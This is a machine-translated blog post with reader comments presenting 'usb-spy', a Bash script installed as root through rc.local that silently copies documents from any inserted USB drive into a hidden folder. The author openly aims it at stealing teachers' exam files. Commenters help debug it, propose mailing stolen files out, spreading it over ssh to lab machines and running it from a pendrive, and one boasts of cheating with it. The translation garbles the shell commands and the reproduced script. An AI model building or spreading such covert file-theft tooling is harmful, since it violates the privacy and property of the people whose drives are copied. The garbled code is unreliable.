Uvijek sam bio nemiran student, uvijek sam želio iskoristiti prilike poput ... na primjer, kopiranje semestarskih ispita s učiteljskog USB sticka ili slično. Kada sam pohađao srednju školu (računarstvo), želio sam programirati „nešto“ što bi radilo sljedeće:
- Otkrivanje kada je USB uređaj povezan sa računarom u učionici
- Kopirajte sav sadržaj s tog uređaja na svoj računar
To bi mi omogućilo polaganje ispita mnogo ranije, bilo bi potrebno samo da nastavnik poveže svoju USB memoriju (pendrive) sa računarom i to je to.
Nažalost, u mom institutu računari su imali Windows i ... Nikad i nikada nisam naučio da programiram za ovaj OS.
Međutim, sada koristim Linux (očito ne? LOL!), I sa znanjem koje sam kroz ove godine uspio steći, sada DA! To već mogu postići s Linuxom 😀
Drugim riječima, programirao sam jednostavnu skriptu koja čini sljedeće:
1. Kreirajte mapu /home/.USBDRIVES/
2. Svakih 5 sekundi provjerava postoji li USB uređaj (ili CD / DVD) povezan s računarom.
3. U slučaju da je jedan povezan, stvorit će mapu unutar /home/.USBDRIVES/ s imenom USB-a (na primjer: memorija-2gb), a također će kopirati sve datoteke .doc, .pdf itd. (ovdje je lista) u ovu mapu koju ste upravo kreirali.
4. U slučaju da nije povezan USB, on će jednostavno pričekati 5 sekundi da započne provjeru koju sam gore objasnio 😀
Evo skripte i datoteke koja sadrži formate za kopiranje:
Kako bi skripta mogla raditi bez problema, najbolje je da se pokreće s administratorskim privilegijama (root), jer je očito da je treba pokrenuti zajedno s računarom, na taj način osiguravamo da ako je računalo ponovo pokrenut ili isključen, kad ponovo pokrenem skriptu, ona će biti tamo u radu, spremna da izvadi sve što želimo s bilo kojeg USB-a
Otvorimo terminal ... jednom otvoren ...
1. Pretpostavimo da imamo obje datoteke / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), moramo mu dati privilegije izvršenja:
sudo chmod +x /opt/usb-spy.sh
2. Otvaramo datoteku /etc/rc.local :
sudo nano /etc/rc.local
3. U njemu pišemo iznad završnog retka (izlaz 0) sljedeći:
/opt/usb-spy.sh &
4. Sada pritisnemo [Ctrl] + [X] da spremimo i izađemo iz datoteke, pritisnemo [S] ili [Y] (ovisno o jeziku sistema), a zatim [Enter]. To će biti dovoljno da se promjene koje smo napravili sačuvaju.
I voila, ovo će biti dovoljno da se skripta pokrene kao root kada uključimo računar.
Važno je provjeriti je li datoteka usb-spy.files je u istom direktoriju kao i usb-spy.sh ????
Sad ... Objasnit ću vam malo o unutrašnjem radu scenarija, jer znam da ovdje ima puno ljubitelja Basha
Q: Kako skripta zna da je povezan USB uređaj? O: U datoteci / etc / mtab našeg sistema nalaze se uređaji ili particije koji su montirani na naš sistem. Kroz red 23 skripte poznato je da li je USB povezan ili nije (stvaranje mačke za mtab i grep medije)
P: Da, ali Kako skripta zna da li nam mačka i grep vraćaju neke podatke ili ne? O: Kroz a ako, onda, else petlja koja počinje na liniji 24.
Q: Kako ga natjerati da kopira samo datoteke sa željenim nastavcima? (.doc, .pdf itd.)
O: Koristeći rsync s raznim parametrima, ovo je na liniji 34. Jednostavno objašnjeno, s rsync kopiram samo datoteke koje se podudaraju s usb-spy.files filtrom, svaki redak je takoreći filter. Također prosljeđujem parametar --prune-empty-dirs
na rsync tako da mi ne stvara prazne direktorije.
Zapravo nema puno toga za objasniti, skriptu je zaista jednostavno razumjeti :)
Ako bilo tko sumnja ili pita, prigovor, ideju ili prijedlog, molim vas da to kaže i obećavam da ću mu pomoći koliko god budem mogao.
Pa, razmišljao sam da stavim nešto poput: «ova skripta je samo u obrazovne svrhe, nemojte je koristiti sa štetnim datotekama»... Ali ... dovraga!, Iskoristite to što god želite, vrijeme je da učenici imaju neku vrstu prednosti u odnosu na učitelje koji nas ugnjetavaju 😀
Saludos
Varalica ¬¬
XDDDD
Ma ne, uopće ... ako ste u nekom trenutku sigurno pomislili učiniti nešto takvo ... HAHAHA.
Spasio si me od pop kviza 😀 ... Sada si tvoj «KZKG ^ Gaara» Ti si moj bog ... Hvalim te!
Pozdrav, vrlo dobra skripta, ali u mega fajlu više ne postoji, možete je poslati na moj e-mail
Linux je 1%, a vi kažete da nikada niste naučili programirati za Windows, tako da je podučavanje za linux sistem, moje pitanje je: koja je mogućnost pronalaska nastavnika koji koristi linux za izvođenje poduka?
Ova skripta ili trik se "implementira" na računaru koji ne mora nužno biti lični ili profesorski, dovoljno je da to bude bilo koje računalo sa univerziteta ili koledža, tada bi to bilo moguće postići samo do X ili Y razlog što profesor povezuje vaš USB na tom računaru.
Da, jeste za Linux, ali mnogi univerziteti imaju Linux kao sistem u računarskim laboratorijama, kao i pokretanje sa LiveCD-om, a ne nužno instaliranje Linuxa na PC PC
O 1%, preporučujem vam da pročitate ovaj post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/
Mogućnost pada gigantskog meteorita na Atlantik za otprilike 30 minuta
Izgleda zanimljivo, morat će se isprobati.
hvala
Uslužni program koji ima nije sjajna stvar, ali skripta kao takva je zanimljiva ... jer iz nje možete naučiti nekoliko savjeta, na primjer kako znati povezani USB, veličinu particija itd. 🙂
Izvorni i vrlo dobro objašnjeni članak KZKG ^ Gaara. Živjeli!
Hvala
Kakva drskost !!!, a vi se usudite to napisati na blogu OO, ne znam šta da mislim, je li neko ko ga ne voli dobro hakirao Gaaru?
drskost? zašto?
Iako svrha ili motiv skripte možda nisu toliko ozbiljni kao ostatak mojih doprinosa, mislim da skripta, njeni redovi i programska logika mogu puno doprinijeti.
Možete iskoristiti nekoliko stvari iz ove skripte:
1. Kako znati veličinu particije i učiniti ovo promjenljivom.
2. Kako provjeriti je li povezan USB i izvući njegovu putanju i ime.
3. if-then-else i while petlje.
U svakom slučaju, mislim da ovo nije potpuno beskorisno ili nešto slično.
Mislim da ste pogrešno protumačili moj komentar, mislim na početku vašeg članka,
"Uvijek sam bio nemiran student, uvijek sam želio iskoristiti prilike poput ... na primjer, kopiranja semestarskih ispita iz nastavnikove olovke ili slično." Ako vam smeta ono što kažem, nadam se da ćete me izviniti, nije mi bila namjera.
oO kakav izvrstan blog, dobri članci, dobri čitatelji, korisnici se izvinjavaju ... raj je lol bez trolova.
hvala ^ - ^
Ponosni smo na ono što smo postigli do sada, ova zajednica je zaista ponosna ... sjajno je biti dio svega ovoga 😀
Ne ne, nikako, nisam se uopće trudio xD
I da hehe, bila je moja greška što sam pogrešno protumačio vaš komentar hehehe, izvinite na tome 😉
Ništa što isprike sada dolaze od mene, morat ću oprati lice da vidim da li sam se probudio ... koliko vidim, još uvijek nisam 100% HAHAHA.
Pozdrav prijatelju 🙂
Vrlo fina osoba xD
Volio bih da moji fakultetski računari imaju Linux muhahahjaja.
Dobar članak!
Ali onaj ko to želi imitirati u sustavu Windows bit će lakši, jer tamo gdje nemate root pristup na mašini koju želite koristiti, ne možete ga ostaviti "zauvijek". Sa Windowsom se to ne događa 😉
Jako dobro hehe.
Ideja je dobra, ima samo slabost da mora koristiti Root privilegije
Pa, zapravo ne trebate biti root kao takav ... ako skripti izjavite da mapa NEĆE biti /home/.USBDRIVES kako sam rekao, a na primjer kaže: /home/usuario/.USBDRIVES ..., a zatim izvršite skripta s "user" bit će dovoljna 😀
To je dobra ideja, ali mislim da biste se uštedjeli mijenjajući rc.local i pokrećući ga svake minute kroz crontab, a time izbjegavate problem pokretanja kao root i ostatak, s druge strane, iako to ne utječe puno, beskorisno trošite memoriju računara svakih 5 sekundi da provjerite je li usb, čak i kad nije. Pa to je moje stanovište
Mislim, provjerite svake 1 minute, zar ne? Nisam to učinio tako jer ... što ako je USB povezan i isključen za manje od 1 minute? 😀
Radije sam to radio svakih 5 sekundi kako bih bio siguran da stvarno "hvatam" sve USB-ove 😉
Ako sam vas pogrešno razumio, ispravite me 🙂
Pozdrav i dobrodošli.
Da, provjerite svaku minutu kroz cron, ali dobro, svaki ima drugačiji način uočavanja problema, ništa više nego gledanje koda, ne bi bilo bolje provjeriti postoji li mapa /home/.USBDRIVES prije nego što je kreirate , je prijedlog ništa više
Saludos
Da također, to je detalj koji sam primijetio, ali ... bio sam lijen da ga riješim LOL!
Isto tako, mogao bih staviti dnevnik u kojem su prikazane datoteke koje su kopirane (pojedinačni dnevnik za svaki uređaj), možda čak i poslati ovaj dnevnik e-poštom (koristeći neki način slanja e-pošte terminalom od onih koje sam stavio ovdje na web mjestu) ... ali kao što sam vam rekao, pomalo sam lijen ^ - ^ U
Hahaha super.
AHA! Dakle, vaš softver se može koristiti za zlo. LOL!!! 🙂
Trik je u redu, ali ... što ako želite isključiti USB prije nego što skripta završi s kopiranjem svog sadržaja? U tom će se slučaju žaliti da je u upotrebi i primijetit će da nešto nije u redu. 🙂
Zapravo, sistem neće dopustiti demontažu USB-a jer će ga "nešto" koristiti 😉
Tačno! I tada Oscarov profesor misli da je pronašao linux virus. LOL!! 🙂
Jednom ste me natjerali da se sjetim da sam radio nešto slično (na svojoj Uni ako smo imali linux / windows), ali napravio sam C program koji je generirao hiljade mapa. Tapacirao sam USB momku koji ga je priključio. Voditelj računarskog centra bio je zapanjen! Mislio je da je pronašao virus u linuxx muajajajaja ... ahhh .. koja su to vremena bila =)
i koja je razlika sa virusom?
Da sam daljinski došao do njegovog USB-a i pokrenuo program 😛
hahahaha, pa bio je to hack XD
????
hehehehehe, pa našli ste virus u Linuxu, zar ne? … LOL!!
Jednostavno mi ne ide xD, ako ga pokušam pokrenuti s terminala, kaže mi ovo: ./usb-spy.sh: linija 31: [: -lt: očekuje se unary operator
Čini se da nešto nije u redu s ovom linijom: if [$ USBSIZE -lt 15664800]; onda
Ali ne znam što je to, jer ne stvara i .USB direktorij.
Ako se to može riješiti, mogu pronaći korisnu skriptu.
Pokušajte zamijeniti df sa / bin / df i pobrinite se da ga pokrenete kao root.
Ok, sada ako kreira .USB mapu unutar kućnog direktorija, ali mi stalno govori preko terminala da: "./usb-spy.sh: red 31: [: -lt: očekuje se unarni operater" i ne kopira ništa, u toj liniji mora biti sukoba, cijenim pomoć ako je netko vidi.
Hvala lijepo.
Možete li nam dati sadržaj vaše / etc / mtab datoteke kada je USB priključen?
Naravno, evo:
/ dev / sda12 / ext4 rw, greške = remount-ro 0 0
proc / proc proc rw, noexec, nosuid, nodev 0 0
sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
nema / sys / fs / osigurač / veze fusectl rw 0 0
none / sys / kernel / debug debugfs rw 0 0
none / sys / kernel / security securityfs rw 0 0
udev / dev devtmpfs rw, način rada = 0755 0 0
devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
tmpfs / pokreni tmpfs rw, noexec, nosuid, veličina = 10%, mod = 0755 0 0
ništa / pokreni / zaključaj tmpfs rw, noexec, nosuid, nodev, veličina = 5242880 0 0
ništa / pokreni / shm tmpfs rw, nosuid, nodev 0 0
binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
/ dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $
Posljednji su redovi ugrađenog USB / dev / sdb1
Da vidimo jesmo li ga dobili. 🙂
Dajte nam izlaz naredbe df. I pokušajte dodati redak:
echo $ USBSIZE
Ispred if ako to stvara problem i recite nam šta se pojavi prilikom pokretanja skripte. To bi trebalo izgledati ovako:
USBSIZE = `/ bin / df | grep $ USBDEV | awk {'ispisati $ 2'} `
echo $ USBSIZE
ako [$ USBSIZE -lt 15664800]; onda
I za svaki slučaj, također nam recite koji je izlaz koje df naredbe.
Ok, dijelom, naredba df mi ovo vraća:
Datotečni sistem 1K-blokovi Korišteno Dostupno Koristite% Montirano
/ dev / sda12 54082300 45246956 6125892 89% /
udev 2004028 4 2004024 1% / razv
tmpfs 805768 1180 804588 1% / trčanje
nema 5120 0 5120 0% / pokretanje / zaključavanje
nema 2014420 92 2014328 1 XNUMX XNUMX% / trčanje / shm
/ dev / sdb1 1023200 322256 700944 32% / media / DOCU 3
Naredba koja mi vraća df: / bin / df
Zatim sam stavio eho $ USBSIZE, a rezultat je isti, ne ispisuje ništa novo, ali greška od prije, smiješno je to što se to događa s USB-om koji testiram, ako stavim 500 GB vanjski tvrdi disk Da, vraća veličinu diska na ekranu, ali 500 premašuje 16 od if, stoga s tvrdim diskom ne radi ništa.
Ali s USB-om ne radi ništa, osim što pokazuje grešku: ./usb-spy.sh: linija 34: [: -lt: očekuje se unarni operater
Kao da ne može prikazati veličinu USB-a, ali pomoću naredbe df dobivam njegovu veličinu.
Hvala na pomoći, da vidimo možemo li je dobiti!
U slučaju da naredba ovdje nije izgledala dobro, ostavljam snimak zaslona: http://i48.tinypic.com/j5dvn5.jpg
Vidim da je u mtabu staza na kojoj se čini montirana "/ media / DOCU403", dok se u df pojavljuje "/ media / DOCU 3". Zbog toga ga grep ne može pronaći i ne vraća veličinu. Pokušajte promijeniti prve redove fora tako da izgledaju ovako:
za USBD u `cat / etc / mtab | grep media | awk '{print $ 1}' '';
do
USBDEV = `mačka / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
USBSIZE = `/ bin / df | grep $ USBD | awk {'ispisati $ 2'} `
Promjene se sastoje u promjeni imena varijable for u USBD, promjeni $ 2 na kraju retka for u $ 1, umetanju retka koji započinje s USBDEV neposredno nakon učinka i promjeni USBDEV u USBD u retku koji započinje s USBSIZE ... Nadam se da se nisam zeznuo. 🙂
Ideja je uraditi for prema imenu uređaja umjesto prema točki montiranja.
Problem je bio u tome što u mtabu kada uređaj ima razmake ... na crtu stavlja neke "čudne" znakove, posebno na mjesto razmaka.
Ništa tako jednostavno za rješavanje kao promjena načina na koji je $ USBDEV određen, u liniji 28 to promijenite i stavite ovako:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
????
Da vidim mogu li vam pomoći ...
Unarni operator to prikazuje jer ne pronalazi veličinu diska, to se događa zato što ga ne provjerava, to se događa zato što je pozvan
Dokument 3
i uzima to kao dvije vrijednosti, da je DOCU ne bi otvorio problem
Možda će ovo upaliti za vas
http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html
Pozdrav 🙂
Zapravo je to problem, jer upravo sam pokušao s drugim USB-om koji imaju ime s riječju bez razmaka, primjer "klase" i skripta radi bez problema, zato je prepoznao tvrdi disk, a ne sjećanja, ali sada je stvar u tome Znajući kako stavljam citate u kod skripte, moram li ih staviti na "$ USBNAME"?
Veliko hvala Atheyusu i Hexborgu na pomoći, skoro je gotova.
Zapravo semproms vrlo je jednostavno popraviti 😉
Linija 28 ... promijenite je u ovo:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
Upravo sam izvršio test s ovom promjenom i dobro funkcionira na uređajima čija oznaka / naziv ima razmak :)
Sada ću izvršiti promjenu u skripti za preuzimanje.
Veoma dobro. Tako je lako popraviti. 🙂
Ohhh, vrlo domišljato take Primit ću bilješku u slučaju da trebam ...
KZKG ^ Gaara, s tim aranžmanom to savršeno funkcionira, sada ako kopiram USB s razmakom u imenu, hvala svima na pomoći, pokušat ću provjeriti mogu li pokrenuti sistem uz pokretanje sistema i na taj način Provjerite svaki ciklus je li povezan USB.
Na kraju smo to postigli xD.
^ - ^ ... lijepo hehe.
Problem je bio u tome što sam koristio mtab za prepoznavanje USB-a, jednostavno sam mogao koristiti df ... Koristio sam mtab jer sam mislio da bi im bilo zanimljivo objasniti ovu datoteku, da je oni znaju, ali nisam predvidio da će se ta greška dogoditi kod uređaja s razmacima, hahaha.
Ako imate bilo kakvih pitanja ili problema, gotovo svi ovdje vole pomoći xD
Saludos
Naravno. Mi smo Linuxeri. Uvijek ga dobijemo. XD.
Instalirajte demon na nastavnikov PC koji generira zapis svih .doc, .docx, .odt, .pdf i šalje vam ih poštom. Uz povremeno skeniranje računara u potrazi za promjenama, novim datotekama ili brisanjima u navedenom registru, anet će vam i bilo kakve vijesti poslati modificiranu ili novu datoteku poštom.
U svakom slučaju, mislim da je izvršavanje te skripte (I KORENO !!!!) više od ulova samoubistvo. Olakšavate život i stvari 700% svima onima koji su zainteresirani za umetanje datoteke na svoj računar s root dopuštenjima i svime. Imajte na umu da u Linuxu nema proširenja i da .doc u Linuxu može biti isto što i tekst, video ili još gore, skripta (ovaj put s vrlo lošim namjerama).
Pokretanje kao root nije potpuno potrebno, samo definirajte mapu u koju će se sadržaj negdje smjestiti da pokrenuti korisnik ima dozvole za pisanje (na primjer, vlastiti dom) i to je to 🙂
Na opasnim datotekama ... pa, mogli biste dodati neke redove koji bi chmod -x svim datotekama, čime bi se izgubilo svojstvo izvršenja.
Dodao sam ove redove na početku da izbrišem mapu .USBDRIVES ako je već kreirana:
ako [-s $ PLACE]
zatim rm -r $ PLACE
fi
Na ovaj način, neće se pojaviti greška "direktorija koji već postoji", odnosno ako morate paziti da u mapi .USBDRIVES nema ničega što ne želimo izbrisati, jer će ga izbrisati i staviti drugi na svom mjestu.
Da biste dodali nove formate datoteka, samo ih napišite na usb-spy? na primjer .jpg .mp3 itd.
Da biste dodali nove tipove datoteka, stavite ih u usb-spy.files
Pogledajte sadržaj datoteke i vidjet ćete kako ih dodati, vrlo je jednostavno 😉
Ako smo na istoj mreži, a postoji učiteljski stroj, zanimljivo bi bilo napraviti mapiranje mreže, možda imamo ssh na mašinama i na taj način distribuiramo kôd na laboratorijskim mašinama ili čak na učiteljevom stroju ... . To mi daje jako puno ideja: $
Pozdrav, čestitam vam na postu i svim vašim doprinosima, ali imam pitanje da vidim može li netko riješiti ovaj problem umjesto mene:
Testirao sam vašu skriptu na računaru s ubuntu 12.04LTS (s Unity) i djelovalo je savršeno, ali kako sam vidio da se ova skripta prestala izvršavati nakon prvog pokretanja, jer je mapa .USBDRIVES već kreirana, Odlučio sam izravno koristiti ovu drugu skriptu vašeg autorstva koja je objavljena u drugom dijelu ovog foruma
ovdje kopiram skriptu da biste se pronašli
#! / bin / bash
#
# - * - KODIRANJE: UTF-8 - * -
# Ovaj program je besplatan softver. Možete ga distribuirati i / ili
# modifikujte ga pod uslovima Opšte javne licence
br. GNU-a koju je objavila Fondacija za slobodni softver,
# verziju 2 navedene licence ili (ovisno o vašem
# izbor) bilo koje kasnije verzije.
#
# Ako napravite bilo kakve izmjene na ovoj aplikaciji,
# uvijek treba spomenuti originalnog autora istog.
#
#Copyleft 2012, DesdeLinux.net {Havana City, Kuba}.
# Autor: KZKG ^ Gaara
DOK JE = 0
dok [$ CONTROL = 0]; učiniti
mačka / etc / mtab | grep media >> / dev / null
ako [$? -ne 0]; onda
BROJILO = 0
drugo
BROJILO = 1
: $ {USBDEV: = `mačka / itd / mtab | grep media | awk '{print $ 2}' `` / »}
cp $ USBDEV / * / home /
fi
spavanje 5
done
izlaz 0
Tema je sljedeća u jedinici ubuntu12.04 lts da zadnja skripta dobro radi i radi, ali kada isti PC računar iz "x" razloga poništim i pokušam da funkcionira u ubuntuu 10.10 ne, mogu ga natjerati da radi
S jedne strane, baca grešku i ne čita pogone olovke koji imaju složeno ime, na primjer: DATA-G, niti kopira datoteke koje imaju složeno ime. Osim ovog problema, imam problem što se skripta izvršava samo kada se računalo jednom ponovo pokrene.
Pitanje bi bilo: kako mogu natjerati tu skriptu da kopira pogone i datoteke sa složenim imenima
i ako koristim crontab ili mogu da zakažem da radi u određeno vrijeme
Još jedan detalj, u Ubuntu 10.10, jer koristi Gnome, želio bih dodati neka ograničenja koja treba uzeti u obzir, kada daje privilegije izvršenja skripti, mora se nalaziti u /etc/init.d, a ne u / etc /
(Uzmite u obzir da ga morate zalijepiti tamo stižući s terminala sa sudo nautilus)
s druge strane, druga dimenzija bi bila da nakon što je zalijepite tamo da biste vidjeli može li se izvršiti, to se mora učiniti na drugom terminalu
sudo su (biti root)
lozinka
ls
cd / etc / init.d
ls-l
i tamo skačemo trči li ili ne
zatim na istom terminalu ili u drugom terminalu u neko drugo vrijeme kao root i koji se nalazi u etc / init.d (tj. do koraka cd / etc / init.d) kao u prethodnom terminalu nastavljamo kako slijedi kako bismo mu dali dozvole izvršenje
sudo chmod + x script.sh
zadane vrijednosti update -rc.d script.sh 80
reboot
Ponavljam, to je tako da se automatski izvršava u ubuntu 10.10 ako je druga verzija poput 12.04 morate učiniti ono što KZKG ^ Gaara kaže
I posljednje pitanje, kako želim kopirati sadržaj (do 3 podmape pendrive-a) u dom ili u skrivenu kućnu mapu ili ne, pretpostavimo da je bio .USBDRIVES
u kodu ne bih morao reći
cp -r /media/*/*/*/home/.USBDRIVES/*
Ukratko, kako bih dobio ono što želim, kako scenarij treba ostati?
Jer sam već pokušao modificirati liniju koju su oni modificirali na usb-spy sh, ali na onu drugu koja snima direktno u kući i baca grešku na modificiranu liniju.? Pozdrav. Hvala ti
Ne mogu preuzeti drugu skriptu
Veoma dobro. 😉
A ako ne napravim korake koje ste vi uložili, šta će se dogoditi? Ne radi li ili se samo pokreće, ali bez root-a? Ako računari imaju sistem za koji kažemo da obnavlja sve interne konfiguracije računara prilikom isključivanja, hoće li raditi? Hvala ti.
U slučaju da sistem ima 'nešto' što je prema zadanim postavkama postavljeno na / home / folder, morate izmijeniti skriptu, gdje piše / home / promijenite je u / opt / ili u neku drugu mapu koja nije pogođena.
Mislim da bi za poboljšanje skripte i izbjegavanje uočavanja upada u pendrive optimalno bilo odrediti vrstu datoteke, veličinu datoteke. Na primjer, velike datoteke veličine 100 megabajta ili više ostavite za kraj. Ili prvo kopirajte datoteke doc, docx, txt, pdf, xml, ... itd itd itd i ostavite avi, mp4, mkv datoteke za kraj ...
Zdravo, ideja je dobra. Želio sam postaviti dva pitanja:
- Može li se to raditi obrnuto? napravite skriptu za penderiver, da se ona poveže sa bilo kojim uređajem i izdvoji datoteke.
- radi za Windows OS?
zdravo,
Nisam siguran kako se to moglo učiniti da isti pendrive prilikom povezivanja pendrivea sam izvrši skriptu koju ima unutra.
I ne, ova skripta ne radi za Windows 🙂
Ok, hvala što ste mi odgovorili, istražit ću kako to učiniti
Kakav dobar scenarij. Analizirao sam ga i čini mi se nevjerojatnim, nadam se da bih jednog dana mogao napraviti i takve praktične scenarije.
Izvrstan doprinos, iako uslužni program koji ću mu dati nije baš ono zbog čega ste ga podigli, ako ga koristim za sigurnosne kopije datoteka grupe korisnika, loše ponašanje koje imam ... hehehehe….
kad pokušam pokrenuti, daje mi ovu liniju greške 31: [: previše argumenata
uklonite tu liniju da vidite da li radi. i ispostavilo se da je linija ta koja ograničava veličinu uređaja.
prilikom uklanjanja kopira ono što imam u montiranim particijama 🙁
Bok, nov sam i znam da je lonac star, ali svidio mi se puno, tvoj je scenarij vrlo poučan
Hvala vam što ste ga podijelili i detaljno objasnili ...
Pozdravi
Prijatelju, spasio si me, morao sam samo odvratiti pažnju nastavnika i umetnuti USB u svoj laptop, a onda hahahaaj položio ispit i bilješke iz svih hehehe
Možete li mi dodati skriptu, veza je dolje
Možete mi proslijediti skriptu na kojoj je veza dolje
kzkggaara, možeš li ponovo poslati datoteke? veze su prema dolje: /, puno vam hvala
Možete li učitati linkove, molim vas?
čuje! ujače! imate pale pohvale da biste ih mogli ponovo podići!
UREDU! : v
Pa, ponovim to, jer ne znam je li preneseno ono što sam želio reći….
Pa, imate veze dolje i možete ih učitati!
Veze su dolje !!!
Ponovo pošaljite linkove, molim vas @usemoslinux Istražujem o tome, hvala!
Skriptu možete preuzeti ovdje. Mislim da je to isto
https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk
Dobro onda….
S moje skromne točke gledišta smatram da je to sjajan članak, pa ako postoje ljudi koji kažu da ste varalica, onda mislim da je to u skladu sa svrhom za koju koristite program.
Meni se osobno više svidjelo što znam programski jezik za linux jer sam radio samo u javi, hvala prijatelju, pobudili ste me da znam više o jeziku za linux.
Zahvaljujem vam.
Pozdrav prijatelji, jer sam pronašao drugi način da koristim ovu skriptu je stvaranje sigurnosne kopije, malo ću o tome, imam dva uređaja, kameru i hdd, ono što želim je da umjesto snimanja datoteka lokalne datoteke sačuvaju ih na vanjskom HDD-u od kamere do HDD-a, ali to mi daje grešku koja kaže "previše argumenata", možete li mi pomoći
Radi samo na uređajima s linux operativnim sistemima?
Neka neko podigne, molim vas!
Pozdrav, nemam linux i u mojoj školi koriste Windows, koristio sam aplikaciju sa usb snimanja i kopiram samo 5 datoteka iz memorije nastavnika, pretpostavljam da usb ima zaštitu, jer se ista stvar dogodila dva puta, bit će i neki drugi način za oduzimanje kompletnih podataka s tog USB-a?
Idite ako kažete da će kôd biti jednostavan, jer čini se vrlo zanimljivim vidjeti kako metode djeluju kako bi se vidjelo je li USB povezan ili veličina particije. Šteta što su uklonili mega.nz skriptu, možete li je ponovo poslati?
Pozdrav i sjajan posao, jednostavan, ali funkcionalan čak i za automatizaciju kopija sa USB-a !!!
Dobro!
Upravo sam ušao u vaš blog i stvarno sam zainteresiran. Ono što se događa je da kada kliknete na .zip datoteku koja vas preusmjerava na mega, to znači da datoteka više nije dostupna.
Zanimalo me biste li mi mogli poslati one datoteke koje bi trebale biti preuzete.
Puno hvala i pozdrav!
Tehnologija ima običaj s godinama smanjivati veličinu. I to se u nevjerovatnoj mjeri dogodilo sa solid state uređajima (SSD). Sada ih možete nabaviti u istoj veličini kao i najbrži USB flash pogoni.
https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/
Možete li mi poslati fajl ili ga ponovo učitati? Ispada da se ne može preuzeti